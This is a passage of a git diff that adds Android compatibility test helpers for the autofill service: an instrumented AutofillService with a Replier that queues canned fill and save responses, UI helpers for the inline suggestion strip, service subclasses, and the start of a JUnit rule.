+    public void assertNoDatasetsEver() throws Exception {
+        assertNeverShown("suggestion strip", SUGGESTION_STRIP_SELECTOR,
+                DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    /**
+     * Selects the suggestion in the {@link MockIme}'s suggestion strip by the given text.
+     */
+    public void selectSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
+        }
+        dataset.click();
+    }
+
+    @Override
+    public void selectDataset(String name) throws Exception {
+        selectSuggestion(name);
+    }
+
+    @Override
+    public void longPressSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
+        }
+        dataset.click(LONG_PRESS_MS);
+    }
+
+    @Override
+    public UiObject2 assertDatasets(String...names) throws Exception {
+        final UiObject2 picker = findSuggestionStrip(UI_TIMEOUT);
+        return assertDatasets(picker, names);
+    }
+
+    @Override
+    public void assertSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
+        }
+    }
+
+    @Override
+    public void assertNoSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset != null) {
+            throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip));
+        }
+    }
+
+    @Override
+    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        strip.fling(direction, speed);
+    }
+
+    private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception {
+        return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillService.java
new file mode 100644
index 0000000..0903236
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillService.java
@@ -0,0 +1,737 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.FAILURE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.NULL;
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.TIMEOUT;
+import static android.autofillservice.cts.testcore.Helper.dumpStructure;
+import static android.autofillservice.cts.testcore.Helper.getActivityName;
+import static android.autofillservice.cts.testcore.Timeouts.CONNECTION_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.FILL_EVENTS_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.IDLE_UNBIND_TIMEOUT;
+import static android.autofillservice.cts.testcore.Timeouts.RESPONSE_DELAY_MS;
+import static android.autofillservice.cts.testcore.Timeouts.SAVE_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.CannedFillResponse.ResponseType;
+import android.content.ComponentName;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.SystemClock;
+import android.service.autofill.AutofillService;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveCallback;
+import android.util.Log;
+import android.view.inputmethod.InlineSuggestionsRequest;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.TestNameUtils;
+import com.android.compatibility.common.util.Timeout;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Implementation of {@link AutofillService} used in the tests.
+ */
+public class InstrumentedAutoFillService extends AutofillService {
+
+    public static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
+    public static final String SERVICE_CLASS = "InstrumentedAutoFillService";
+
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/.testcore." + SERVICE_CLASS;
+
+    public static String sServiceLabel = SERVICE_CLASS;
+
+    // TODO(b/125844305): remove once fixed
+    private static final boolean FAIL_ON_INVALID_CONNECTION_STATE = false;
+
+    private static final String TAG = "InstrumentedAutoFillService";
+
+    private static final boolean DUMP_FILL_REQUESTS = false;
+    private static final boolean DUMP_SAVE_REQUESTS = false;
+
+    protected static final AtomicReference<InstrumentedAutoFillService> sInstance =
+            new AtomicReference<>();
+    private static final Replier sReplier = new Replier();
+
+    private static AtomicBoolean sConnected = new AtomicBoolean(false);
+
+    // We must handle all requests in a separate thread as the service's main thread is the also
+    // the UI thread of the test process and we don't want to hose it in case of failures here
+    private static final HandlerThread sMyThread = new HandlerThread("MyServiceThread");
+    private final Handler mHandler;
+
+    private boolean mConnected;
+
+    static {
+        Log.i(TAG, "Starting thread " + sMyThread);
+        sMyThread.start();
+    }
+
+    public InstrumentedAutoFillService() {
+        sInstance.set(this);
+        sServiceLabel = SERVICE_CLASS;
+        mHandler = Handler.createAsync(sMyThread.getLooper());
+        sReplier.setHandler(mHandler);
+    }
+
+    private static InstrumentedAutoFillService peekInstance() {
+        return sInstance.get();
+    }
+
+    /**
+     * Gets the list of fill events in the {@link FillEventHistory}, waiting until it has the
+     * expected size.
+     */
+    public static List<Event> getFillEvents(int expectedSize) throws Exception {
+        final List<Event> events = getFillEventHistory(expectedSize).getEvents();
+        // Validation check
+        if (expectedSize > 0 && events == null || events.size() != expectedSize) {
+            throw new IllegalStateException("INTERNAL ERROR: events should have " + expectedSize
+                    + ", but it is: " + events);
+        }
+        return events;
+    }
+
+    /**
+     * Gets the {@link FillEventHistory}, waiting until it has the expected size.
+     */
+    public static FillEventHistory getFillEventHistory(int expectedSize) throws Exception {
+        final InstrumentedAutoFillService service = peekInstance();
+
+        if (expectedSize == 0) {
+            // Need to always sleep as there is no condition / callback to be used to wait until
+            // expected number of events is set.
+            SystemClock.sleep(FILL_EVENTS_TIMEOUT.ms());
+            final FillEventHistory history = service.getFillEventHistory();
+            assertThat(history.getEvents()).isNull();
+            return history;
+        }
+
+        return FILL_EVENTS_TIMEOUT.run("getFillEvents(" + expectedSize + ")", () -> {
+            final FillEventHistory history = service.getFillEventHistory();
+            if (history == null) {
+                return null;
+            }
+            final List<Event> events = history.getEvents();
+            if (events != null) {
+                if (events.size() != expectedSize) {
+                    Log.v(TAG, "Didn't get " + expectedSize + " events yet: " + events);
+                    return null;
+                }
+            } else {
+                Log.v(TAG, "Events is still null (expecting " + expectedSize + ")");
+                return null;
+            }
+            return history;
+        });
+    }
+
+    /**
+     * Asserts there is no {@link FillEventHistory}.
+     */
+    public static void assertNoFillEventHistory() {
+        // Need to always sleep as there is no condition / callback to be used to wait until
+        // expected number of events is set.
+        SystemClock.sleep(FILL_EVENTS_TIMEOUT.ms());
+        assertThat(peekInstance().getFillEventHistory()).isNull();
+
+    }
+
+    /**
+     * Gets the service label associated with the current instance.
+     */
+    public static String getServiceLabel() {
+        return sServiceLabel;
+    }
+
+    private void handleConnected(boolean connected) {
+        Log.v(TAG, "handleConnected(): from " + sConnected.get() + " to " + connected);
+        sConnected.set(connected);
+    }
+
+    @Override
+    public void onConnected() {
+        Log.v(TAG, "onConnected");
+        if (mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
+            dumpSelf();
+            sReplier.addException(new IllegalStateException("onConnected() called again"));
+        }
+        mConnected = true;
+        mHandler.post(() -> handleConnected(true));
+    }
+
+    @Override
+    public void onDisconnected() {
+        Log.v(TAG, "onDisconnected");
+        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
+            dumpSelf();
+            sReplier.addException(
+                    new IllegalStateException("onDisconnected() called when disconnected"));
+        }
+        mConnected = false;
+        mHandler.post(() -> handleConnected(false));
+    }
+
+    @Override
+    public void onFillRequest(android.service.autofill.FillRequest request,
+            CancellationSignal cancellationSignal, FillCallback callback) {
+        final ComponentName component = getLastActivityComponent(request.getFillContexts());
+        if (DUMP_FILL_REQUESTS) {
+            dumpStructure("onFillRequest()", request.getFillContexts());
+        } else {
+            Log.i(TAG, "onFillRequest() for " + component.toShortString());
+        }
+        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
+            dumpSelf();
+            sReplier.addException(
+                    new IllegalStateException("onFillRequest() called when disconnected"));
+        }
+
+        if (!TestNameUtils.isRunningTest()) {
+            Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
+            return;
+        }
+        if (!fromSamePackage(component))  {
+            Log.w(TAG, "Ignoring onFillRequest() from different package: " + component);
+            return;
+        }
+        mHandler.post(
+                () -> sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
+                        cancellationSignal, callback, request.getFlags(),
+                        request.getInlineSuggestionsRequest(), request.getId()));
+    }
+
+    @Override
+    public void onSaveRequest(android.service.autofill.SaveRequest request,
+            SaveCallback callback) {
+        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
+            dumpSelf();
+            sReplier.addException(
+                    new IllegalStateException("onSaveRequest() called when disconnected"));
+        }
+        mHandler.post(()->handleSaveRequest(request, callback));
+    }
+
+    private void handleSaveRequest(android.service.autofill.SaveRequest request,
+            SaveCallback callback) {
+        final ComponentName component = getLastActivityComponent(request.getFillContexts());
+        if (!TestNameUtils.isRunningTest()) {
+            Log.e(TAG, "onSaveRequest(" + component + ") called after tests finished");
+            return;
+        }
+        if (!fromSamePackage(component)) {
+            Log.w(TAG, "Ignoring onSaveRequest() from different package: " + component);
+            return;
+        }
+        if (DUMP_SAVE_REQUESTS) {
+            dumpStructure("onSaveRequest()", request.getFillContexts());
+        } else {
+            Log.i(TAG, "onSaveRequest() for " + component.toShortString());
+        }
+        mHandler.post(() -> sReplier.onSaveRequest(request.getFillContexts(),
+                request.getClientState(), callback,
+                request.getDatasetIds()));
+    }
+
+    public static boolean isConnected() {
+        return sConnected.get();
+    }
+
+    private boolean fromSamePackage(ComponentName component) {
+        final String actualPackage = component.getPackageName();
+        if (!actualPackage.equals(getPackageName())
+                && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
+            Log.w(TAG, "Got request from package " + actualPackage);
+            return false;
+        }
+        return true;
+    }
+
+    private ComponentName getLastActivityComponent(List<FillContext> contexts) {
+        return contexts.get(contexts.size() - 1).getStructure().getActivityComponent();
+    }
+
+    private void dumpSelf()  {
+        try {
+            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+                dump(null, pw, null);
+                pw.flush();
+                final String dump = sw.toString();
+                Log.e(TAG, "dumpSelf(): " + dump);
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "I don't always fail to dump, but when I do, I dump the failure", e);
+        }
+    }
+
+    @Override
+    protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
+        pw.print("sConnected: "); pw.println(sConnected);
+        pw.print("mConnected: "); pw.println(mConnected);
+        pw.print("sInstance: "); pw.println(sInstance);
+        pw.println("sReplier: "); sReplier.dump(pw);
+    }
+
+    /**
+     * Waits until {@link #onConnected()} is called, or fails if it times out.
+     *
+     * <p>This method is useful on tests that explicitly verifies the connection, but should be
+     * avoided in other tests, as it adds extra time to the test execution (and flakiness in cases
+     * where the service might have being disconnected already; for example, if the fill request
+     * was replied with a {@code null} response) - if a text needs to block until the service
+     * receives a callback, it should use {@link Replier#getNextFillRequest()} instead.
+     */
+    public static void waitUntilConnected() throws Exception {
+        waitConnectionState(CONNECTION_TIMEOUT, true);
+    }
+
+    /**
+     * Waits until {@link #onDisconnected()} is called, or fails if it times out.
+     *
+     * <p>This method is useful on tests that explicitly verifies the connection, but should be
+     * avoided in other tests, as it adds extra time to the test execution.
+     */
+    public static void waitUntilDisconnected() throws Exception {
+        waitConnectionState(IDLE_UNBIND_TIMEOUT, false);
+    }
+
+    private static void waitConnectionState(Timeout timeout, boolean expected) throws Exception {
+        timeout.run("wait for connected=" + expected,  () -> {
+            return isConnected() == expected ? Boolean.TRUE : null;
+        });
+    }
+
+    /**
+     * Gets the {@link Replier} singleton.
+     */
+    public static Replier getReplier() {
+        return sReplier;
+    }
+
+    public static void resetStaticState() {
+        sInstance.set(null);
+        sConnected.set(false);
+        sServiceLabel = SERVICE_CLASS;
+    }
+
+    /**
+     * POJO representation of the contents of a
+     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
+     * CancellationSignal, FillCallback)} that can be asserted at the end of a test case.
+     */
+    public static final class FillRequest {
+        public final AssistStructure structure;
+        public final List<FillContext> contexts;
+        public final Bundle data;
+        public final CancellationSignal cancellationSignal;
+        public final FillCallback callback;
+        public final int flags;
+        public final InlineSuggestionsRequest inlineRequest;
+
+        private FillRequest(List<FillContext> contexts, Bundle data,
+                CancellationSignal cancellationSignal, FillCallback callback, int flags,
+                InlineSuggestionsRequest inlineRequest) {
+            this.contexts = contexts;
+            this.data = data;
+            this.cancellationSignal = cancellationSignal;
+            this.callback = callback;
+            this.flags = flags;
+            this.structure = contexts.get(contexts.size() - 1).getStructure();
+            this.inlineRequest = inlineRequest;
+        }
+
+        @Override
+        public String toString() {
+            return "FillRequest[activity=" + getActivityName(contexts) + ", flags=" + flags
+                    + ", bundle=" + data + ", structure=" + Helper.toString(structure) + "]";
+        }
+    }
+
+    /**
+     * POJO representation of the contents of a
+     * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)}
+     * that can be asserted at the end of a test case.
+     */
+    public static final class SaveRequest {
+        public final List<FillContext> contexts;
+        public final AssistStructure structure;
+        public final Bundle data;
+        public final SaveCallback callback;
+        public final List<String> datasetIds;
+
+        private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+                List<String> datasetIds) {
+            if (contexts != null && contexts.size() > 0) {
+                structure = contexts.get(contexts.size() - 1).getStructure();
+            } else {
+                structure = null;
+            }
+            this.contexts = contexts;
+            this.data = data;
+            this.callback = callback;
+            this.datasetIds = datasetIds;
+        }
+
+        @Override
+        public String toString() {
+            return "SaveRequest:" + getActivityName(contexts);
+        }
+    }
+
+    /**
+     * Object used to answer a
+     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
+     * CancellationSignal, FillCallback)}
+     * on behalf of a unit test method.
+     */
+    public static final class Replier {
+
+        private final BlockingQueue<CannedFillResponse> mResponses = new LinkedBlockingQueue<>();
+        private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
+
+        private List<Throwable> mExceptions;
+        private IntentSender mOnSaveIntentSender;
+        private String mAcceptedPackageName;
+
+        private Handler mHandler;
+
+        private boolean mReportUnhandledFillRequest = true;
+        private boolean mReportUnhandledSaveRequest = true;
+
+        private Replier() {
+        }
+
+        private IdMode mIdMode = IdMode.RESOURCE_ID;
+
+        public void setIdMode(IdMode mode) {
+            this.mIdMode = mode;
+        }
+
+        public void acceptRequestsFromPackage(String packageName) {
+            mAcceptedPackageName = packageName;
+        }
+
+        /**
+         * Gets the exceptions thrown asynchronously, if any.
+         */
+        @Nullable
+        public List<Throwable> getExceptions() {
+            return mExceptions;
+        }
+
+        private void addException(@Nullable Throwable e) {
+            if (e == null) return;
+
+            if (mExceptions == null) {
+                mExceptions = new ArrayList<>();
+            }
+            mExceptions.add(e);
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest} as {@link FillResponse} with just
+         * one {@link Dataset}.
+         */
+        public Replier addResponse(CannedDataset dataset) {
+            return addResponse(new CannedFillResponse.Builder()
+                    .addDataset(dataset)
+                    .build());
+        }
+
+        /**
+         * Sets the expectation for the next {@code onFillRequest}.
+         */
+        public Replier addResponse(CannedFillResponse response) {
+            if (response == null) {
+                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
+            }
+            mResponses.add(response);
+            return this;
+        }
+
+        /**
+         * Sets the {@link IntentSender} that is passed to
+         * {@link SaveCallback#onSuccess(IntentSender)}.
+         */
+        public Replier setOnSave(IntentSender intentSender) {
+            mOnSaveIntentSender = intentSender;
+            return this;
+        }
+
+        /**
+         * Gets the next fill request, in the order received.
+         */
+        public FillRequest getNextFillRequest() {
+            FillRequest request;
+            try {
+                request = mFillRequests.poll(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted", e);
+            }
+            if (request == null) {
+                throw new RetryableException(FILL_TIMEOUT, "onFillRequest() not called");
+            }
+            return request;
+        }
+
+        /**
+         * Asserts that {@link #onFillRequest(List, Bundle, CancellationSignal, FillCallback, int)}
+         * was not called.
+         *
+         * <p>Should only be called in cases where it's not expected to be called, as it will
+         * sleep for a few ms.
+         */
+        public void assertOnFillRequestNotCalled() {
+            SystemClock.sleep(FILL_TIMEOUT.getMaxValue());
+            assertThat(mFillRequests).isEmpty();
+        }
+
+        /**
+         * Asserts all {@link AutofillService#onFillRequest(
+         * android.service.autofill.FillRequest,  CancellationSignal, FillCallback) fill requests}
+         * received by the service were properly {@link #getNextFillRequest() handled} by the test
+         * case.
+         */
+        public void assertNoUnhandledFillRequests() {
+            if (mFillRequests.isEmpty()) return; // Good job, test case!
+
+            if (!mReportUnhandledFillRequest) {
+                // Just log, so it's not thrown again on @After if already thrown on main body
+                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
+                        + "but logging just in case: " + mFillRequests);
+                return;
+            }
+
+            mReportUnhandledFillRequest = false;
+            throw new AssertionError(mFillRequests.size() + " unhandled fill requests: "
+                    + mFillRequests);
+        }
+
+        /**
+         * Gets the current number of unhandled requests.
+         */
+        public int getNumberUnhandledFillRequests() {
+            return mFillRequests.size();
+        }
+
+        /**
+         * Gets the next save request, in the order received.
+         *
+         * <p>Typically called at the end of a test case, to assert the initial request.
+         */
+        public SaveRequest getNextSaveRequest() {
+            SaveRequest request;
+            try {
+                request = mSaveRequests.poll(SAVE_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted", e);
+            }
+            if (request == null) {
+                throw new RetryableException(SAVE_TIMEOUT, "onSaveRequest() not called");
+            }
+            return request;
+        }
+
+        /**
+         * Asserts all
+         * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)
+         * save requests} received by the service were properly
+         * {@link #getNextFillRequest() handled} by the test case.
+         */
+        public void assertNoUnhandledSaveRequests() {
+            if (mSaveRequests.isEmpty()) return; // Good job, test case!
+
+            if (!mReportUnhandledSaveRequest) {
+                // Just log, so it's not thrown again on @After if already thrown on main body
+                Log.d(TAG, "assertNoUnhandledSaveRequests(): already reported, "
+                        + "but logging just in case: " + mSaveRequests);
+                return;
+            }
+
+            mReportUnhandledSaveRequest = false;
+            throw new AssertionError(mSaveRequests.size() + " unhandled save requests: "
+                    + mSaveRequests);
+        }
+
+        public void setHandler(Handler handler) {
+            mHandler = handler;
+        }
+
+        /**
+         * Resets its internal state.
+         */
+        public void reset() {
+            mResponses.clear();
+            mFillRequests.clear();
+            mSaveRequests.clear();
+            mExceptions = null;
+            mOnSaveIntentSender = null;
+            mAcceptedPackageName = null;
+            mReportUnhandledFillRequest = true;
+            mReportUnhandledSaveRequest = true;
+        }
+
+        private void onFillRequest(List<FillContext> contexts, Bundle data,
+                CancellationSignal cancellationSignal, FillCallback callback, int flags,
+                InlineSuggestionsRequest inlineRequest, int requestId) {
+            try {
+                CannedFillResponse response = null;
+                try {
+                    response = mResponses.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                    Log.w(TAG, "Interrupted getting CannedResponse: " + e);
+                    Thread.currentThread().interrupt();
+                    addException(e);
+                    return;
+                }
+                if (response == null) {
+                    final String activityName = getActivityName(contexts);
+                    final String msg = "onFillRequest() for activity " + activityName
+                            + " received when no canned response was set.";
+                    dumpStructure(msg, contexts);
+                    return;
+                }
+                if (response.getResponseType() == NULL) {
+                    Log.d(TAG, "onFillRequest(): replying with null");
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                if (response.getResponseType() == TIMEOUT) {
+                    Log.d(TAG, "onFillRequest(): not replying at all");
+                    return;
+                }
+
+                if (response.getResponseType() == FAILURE) {
+                    Log.d(TAG, "onFillRequest(): replying with failure");
+                    callback.onFailure("D'OH!");
+                    return;
+                }
+
+                if (response.getResponseType() == ResponseType.NO_MORE) {
+                    Log.w(TAG, "onFillRequest(): replying with null when not expecting more");
+                    addException(new IllegalStateException("got unexpected request"));
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                final String failureMessage = response.getFailureMessage();
+                if (failureMessage != null) {
+                    Log.v(TAG, "onFillRequest(): failureMessage = " + failureMessage);
+                    callback.onFailure(failureMessage);
+                    return;
+                }
+
+                final FillResponse fillResponse;
+
+                switch (mIdMode) {
+                    case RESOURCE_ID:
+                        fillResponse = response.asFillResponse(contexts,
+                                (id) -> Helper.findNodeByResourceId(contexts, id));
+                        break;
+                    case HTML_NAME:
+                        fillResponse = response.asFillResponse(contexts,
+                                (name) -> Helper.findNodeByHtmlName(contexts, name));
+                        break;
+                    case HTML_NAME_OR_RESOURCE_ID:
+                        fillResponse = response.asFillResponse(contexts,
+                                (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
+                        break;
+                    default:
+                        throw new IllegalStateException("Unknown id mode: " + mIdMode);
+                }
+
+                if (response.getResponseType() == ResponseType.DELAY) {
+                    mHandler.postDelayed(() -> {
+                        Log.v(TAG,
+                                "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
+                        callback.onSuccess(fillResponse);
+                        // Add a fill request to let test case know response was sent.
+                        Helper.offer(mFillRequests,
+                                new FillRequest(contexts, data, cancellationSignal, callback,
+                                        flags, inlineRequest), CONNECTION_TIMEOUT.ms());
+                    }, RESPONSE_DELAY_MS);
+                } else {
+                    Log.v(TAG, "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
+                    callback.onSuccess(fillResponse);
+                }
+            } catch (Throwable t) {
+                addException(t);
+            } finally {
+                Helper.offer(mFillRequests, new FillRequest(contexts, data, cancellationSignal,
+                        callback, flags, inlineRequest), CONNECTION_TIMEOUT.ms());
+            }
+        }
+
+        private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+                List<String> datasetIds) {
+            Log.d(TAG, "onSaveRequest(): sender=" + mOnSaveIntentSender);
+
+            try {
+                if (mOnSaveIntentSender != null) {
+                    callback.onSuccess(mOnSaveIntentSender);
+                } else {
+                    callback.onSuccess();
+                }
+            } finally {
+                Helper.offer(mSaveRequests, new SaveRequest(contexts, data, callback, datasetIds),
+                        CONNECTION_TIMEOUT.ms());
+            }
+        }
+
+        private void dump(PrintWriter pw) {
+            pw.print("mResponses: "); pw.println(mResponses);
+            pw.print("mFillRequests: "); pw.println(mFillRequests);
+            pw.print("mSaveRequests: "); pw.println(mSaveRequests);
+            pw.print("mExceptions: "); pw.println(mExceptions);
+            pw.print("mOnSaveIntentSender: "); pw.println(mOnSaveIntentSender);
+            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
+            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
+            pw.print("mReportUnhandledFillRequest: "); pw.println(mReportUnhandledSaveRequest);
+            pw.print("mIdMode: "); pw.println(mIdMode);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceCompatMode.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceCompatMode.java
new file mode 100644
index 0000000..fc35412
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceCompatMode.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import android.service.autofill.AutofillService;
+
+/**
+ * Implementation of {@link AutofillService} using A11Y compat mode used in the tests.
+ */
+public class InstrumentedAutoFillServiceCompatMode extends InstrumentedAutoFillService {
+
+    @SuppressWarnings("hiding")
+    public static final String SERVICE_PACKAGE = "android.autofillservice.cts";
+    @SuppressWarnings("hiding")
+    public static final String SERVICE_CLASS = "testcore.InstrumentedAutoFillServiceCompatMode";
+    @SuppressWarnings("hiding")
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/." + SERVICE_CLASS;
+
+    public InstrumentedAutoFillServiceCompatMode() {
+        sInstance.set(this);
+        sServiceLabel = SERVICE_CLASS;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceInlineEnabled.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceInlineEnabled.java
new file mode 100644
index 0000000..a29c01b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InstrumentedAutoFillServiceInlineEnabled.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import android.service.autofill.AutofillService;
+
+/**
+ * Implementation of {@link AutofillService} that has inline suggestions support enabled.
+ */
+public class InstrumentedAutoFillServiceInlineEnabled extends InstrumentedAutoFillService {
+    @SuppressWarnings("hiding")
+    static final String SERVICE_PACKAGE = "android.autofillservice.cts";
+    @SuppressWarnings("hiding")
+    static final String SERVICE_CLASS = "InstrumentedAutoFillServiceInlineEnabled";
+    @SuppressWarnings("hiding")
+    public static final String SERVICE_NAME = SERVICE_PACKAGE + "/.testcore." + SERVICE_CLASS;
+
+    public InstrumentedAutoFillServiceInlineEnabled() {
+        sInstance.set(this);
+        sServiceLabel = SERVICE_CLASS;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MaxVisibleDatasetsRule.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MaxVisibleDatasetsRule.java
new file mode 100644
index 0000000..b1b4327
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MaxVisibleDatasetsRule.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that improves autofill-related environment by:
+ *
+ * <ol>
+ *   <li>Setting max_visible_datasets before and after test.
+ * </ol>
+ */
+public final class MaxVisibleDatasetsRule implements TestRule {
+
+    private static final String TAG = MaxVisibleDatasetsRule.class.getSimpleName();
+
+    private final int mMaxNumber;
+
+    /**
+     * Creates a MaxVisibleDatasetsRule with given datasets values.
+     *
+     * @param maxNumber The desired max_visible_datasets value for a test,
+     * after the test it will be replaced by the original value
+     */
+    public MaxVisibleDatasetsRule(int maxNumber) {
+        mMaxNumber = maxNumber;
+    }
+
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
